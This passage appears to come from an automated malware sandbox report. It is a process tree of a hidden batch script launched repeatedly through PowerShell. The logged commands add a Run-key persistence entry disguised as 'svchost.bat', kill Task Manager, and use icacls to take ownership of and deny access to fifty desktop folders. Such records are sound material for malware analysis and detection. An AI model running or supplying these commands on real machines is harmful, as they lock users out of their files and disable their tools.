  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder22" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1632
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder23" /setowner "Admin" /t
      4⤵
      PID:4892
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder23" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4188
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder24" /setowner "Admin" /t
      4⤵
      PID:4812
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder24" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1440
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder25" /setowner "Admin" /t
      4⤵
      PID:2652
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder25" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2000
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder26" /setowner "Admin" /t
      4⤵
      PID:3704
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder26" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:652
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder27" /setowner "Admin" /t
      4⤵
      PID:424
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder27" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3996
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder28" /setowner "Admin" /t
      4⤵
      PID:1940
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder28" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4500
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder29" /setowner "Admin" /t
      4⤵
      PID:3368
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder29" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1076
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder30" /setowner "Admin" /t
      4⤵
      PID:4732
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder30" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2384
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder31" /setowner "Admin" /t
      4⤵
      PID:1480
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder31" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4880
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder32" /setowner "Admin" /t
      4⤵
      PID:4112
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder32" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4396
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder33" /setowner "Admin" /t
      4⤵
      PID:1500
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder33" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5008
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder34" /setowner "Admin" /t
      4⤵
      PID:2256
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder34" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:932
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder35" /setowner "Admin" /t
      4⤵
      PID:1640
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder35" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1940
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder36" /setowner "Admin" /t
      4⤵
      PID:4500
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder36" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4228
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder37" /setowner "Admin" /t
      4⤵
      PID:4808
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder37" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4596
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder38" /setowner "Admin" /t
      4⤵
      PID:2012
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder38" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4996
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder39" /setowner "Admin" /t
      4⤵
      PID:2456
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder39" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:868
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder40" /setowner "Admin" /t
      4⤵
      PID:4612
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder40" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:8
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder41" /setowner "Admin" /t
      4⤵
      PID:412
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder41" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4120
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder42" /setowner "Admin" /t
      4⤵
      PID:424
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder42" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1500
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder43" /setowner "Admin" /t
      4⤵
      PID:2192
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder43" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4352
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder44" /setowner "Admin" /t
      4⤵
      PID:3420
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder44" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4660
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder45" /setowner "Admin" /t
      4⤵
      PID:4760
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder45" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3520
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder46" /setowner "Admin" /t
      4⤵
      PID:4004
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder46" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3376
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder47" /setowner "Admin" /t
      4⤵
      PID:4736
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder47" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4500
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder48" /setowner "Admin" /t
      4⤵
      PID:4804
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder48" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2708
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder49" /setowner "Admin" /t
      4⤵
      PID:2520
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder49" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4880
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder50" /setowner "Admin" /t
      4⤵
      PID:3316
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder50" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2644
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\a.bat\"' -WindowStyle Hidden"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:5360
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\a.bat"
        5⤵
        
        PID:5916
      - C:\Windows\system32\mode.com
        
        mode con: cols=1 lines=1
        6⤵
        
        PID:5936
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsHost" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.bat" /f
        6⤵
        
        PID:5840
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder1" /setowner "Admin" /t
        6⤵
        
        PID:3348
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder1" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:2856
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder2" /setowner "Admin" /t
        6⤵
        
        PID:5196
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder2" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:4340
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder3" /setowner "Admin" /t
        6⤵
        
        PID:6440
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder3" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:6704
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder4" /setowner "Admin" /t
        6⤵
        
        PID:7112
  - - C:\Windows\system32\cmd.exe
      cmd.exe
      4⤵
      PID:5152
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im taskmgr.exe
      4⤵
      PID:5412
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:2496
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\a.bat\"' -WindowStyle Hidden"
      4⤵
      PID:5500
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\a.bat"
        5⤵
        
        PID:5544
      - C:\Windows\system32\mode.com
        
        mode con: cols=1 lines=1
        6⤵
        
        PID:5768
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsHost" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.bat" /f
        6⤵
        
        PID:6780
  - - C:\Windows\system32\cmd.exe
      cmd.exe
      4⤵
      PID:5992
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im taskmgr.exe
      4⤵
      PID:5996
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:5504
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\a.bat\"' -WindowStyle Hidden"
      4⤵
      PID:5136
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\a.bat"
        5⤵
        
        PID:6788
      - C:\Windows\system32\mode.com
        
        mode con: cols=1 lines=1
        6⤵
        
        PID:5592
  - - C:\Windows\system32\cmd.exe
      cmd.exe
      4⤵
      PID:5940
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im taskmgr.exe
      4⤵
      PID:5344
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:6204
- C:\Windows\system32\cmd.exe
  cmd.exe
  2⤵
  PID:916
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:876
- C:\Windows\system32\taskkill.exe
  taskkill /f /im taskmgr.exe
  2⤵
  PID:2312
- C:\Windows\system32\timeout.exe
  timeout /t 1 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:2652
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\a.bat\"' -WindowStyle Hidden"
  2⤵
  PID:4536
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\a.bat"
    3⤵
    PID:2880
  - - C:\Windows\system32\mode.com
      mode con: cols=1 lines=1
      4⤵
      PID:4204
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsHost" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.bat" /f
      4⤵
      PID:4788
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder1" /setowner "Admin" /t
      4⤵
      PID:3420
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder1" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1500
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder2" /setowner "Admin" /t
      4⤵
      PID:3336
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder2" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1480
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder3" /setowner "Admin" /t
      4⤵
      PID:1412
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder3" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1624
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder4" /setowner "Admin" /t
      4⤵
      PID:4452
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder4" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1540
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder5" /setowner "Admin" /t
      4⤵
      PID:3136
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder5" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2660
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder6" /setowner "Admin" /t
      4⤵
      PID:776
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder6" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1684
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder7" /setowner "Admin" /t
      4⤵
      PID:4564
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder7" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4828
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder8" /setowner "Admin" /t
      4⤵
      PID:2616
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder8" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4808
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder9" /setowner "Admin" /t
      4⤵
      PID:4000
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder9" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4736
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder10" /setowner "Admin" /t
      4⤵
      PID:4372
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder10" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4032
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder11" /setowner "Admin" /t
      4⤵
      PID:1880
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder11" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2644
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder12" /setowner "Admin" /t
      4⤵
      PID:4740
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder12" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3704
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder13" /setowner "Admin" /t
      4⤵
      PID:1684
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder13" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4564
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder14" /setowner "Admin" /t
      4⤵
      PID:8
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder14" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4828
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder15" /setowner "Admin" /t
      4⤵
      PID:1792
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder15" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3172
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder16" /setowner "Admin" /t
      4⤵
      PID:4792
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder16" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:868
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder17" /setowner "Admin" /t
      4⤵
      PID:4428
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder17" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4380
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder18" /setowner "Admin" /t
      4⤵
      PID:4856
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder18" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4564
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder19" /setowner "Admin" /t
      4⤵
      PID:4944
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder19" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2380
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder20" /setowner "Admin" /t
      4⤵
      PID:1980
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder20" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4856
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder21" /setowner "Admin" /t
      4⤵
      PID:4980
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder21" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2456
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder22" /setowner "Admin" /t
      4⤵
      PID:4880
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder22" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2904
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder23" /setowner "Admin" /t
      4⤵
      PID:552
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder23" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3764
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder24" /setowner "Admin" /t
      4⤵
      PID:2504
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder24" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4996
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder25" /setowner "Admin" /t
      4⤵
      PID:1424
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder25" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:424
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder26" /setowner "Admin" /t
      4⤵
      PID:4612
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder26" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4508
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder27" /setowner "Admin" /t
      4⤵
      PID:4812
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder27" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:484
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder28" /setowner "Admin" /t
      4⤵
      PID:3316
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder28" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2708
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder29" /setowner "Admin" /t
      4⤵
      PID:4736
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder29" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3316
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder30" /setowner "Admin" /t
      4⤵
      PID:4496
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder30" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4436
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder31" /setowner "Admin" /t
      4⤵
      PID:4004
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder31" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4216
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder32" /setowner "Admin" /t
      4⤵
      PID:5304
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder32" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5552
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder33" /setowner "Admin" /t
      4⤵
      PID:5816
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder33" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5964
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder34" /setowner "Admin" /t
      4⤵
      PID:4040
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder34" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1792
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder35" /setowner "Admin" /t
      4⤵
      PID:5180
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder35" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5636
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder36" /setowner "Admin" /t
      4⤵
      PID:5976
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder36" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5924
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder37" /setowner "Admin" /t
      4⤵
      PID:6072
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder37" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5244
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder38" /setowner "Admin" /t
      4⤵
      PID:8
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder38" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2380
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder39" /setowner "Admin" /t
      4⤵
      PID:5940
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder39" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5192
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder40" /setowner "Admin" /t
      4⤵
      PID:6024
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder40" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5184
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder41" /setowner "Admin" /t
      4⤵
      PID:6000
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder41" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5672
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder42" /setowner "Admin" /t
      4⤵
      PID:5772
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder42" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5436
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder43" /setowner "Admin" /t
      4⤵
      PID:5268
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder43" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5772
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder44" /setowner "Admin" /t
      4⤵
      PID:588
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder44" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1608
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder45" /setowner "Admin" /t
      4⤵
      PID:5692
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder45" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:6012
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder46" /setowner "Admin" /t
      4⤵
      PID:6284
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder46" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:6360
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder47" /setowner "Admin" /t
      4⤵
      PID:6608
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder47" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:6912
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder48" /setowner "Admin" /t
      4⤵
      PID:6300
- C:\Windows\system32\cmd.exe
  cmd.exe
  2⤵
  PID:2492
- C:\Windows\system32\taskkill.exe
  taskkill /f /im taskmgr.exe
  2⤵
  - Kills process with taskkill
  PID:4788
- C:\Windows\system32\timeout.exe
  timeout /t 1 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:2148
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\a.bat\"' -WindowStyle Hidden"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2176
- - C:\Windows\system32\cmd.exe
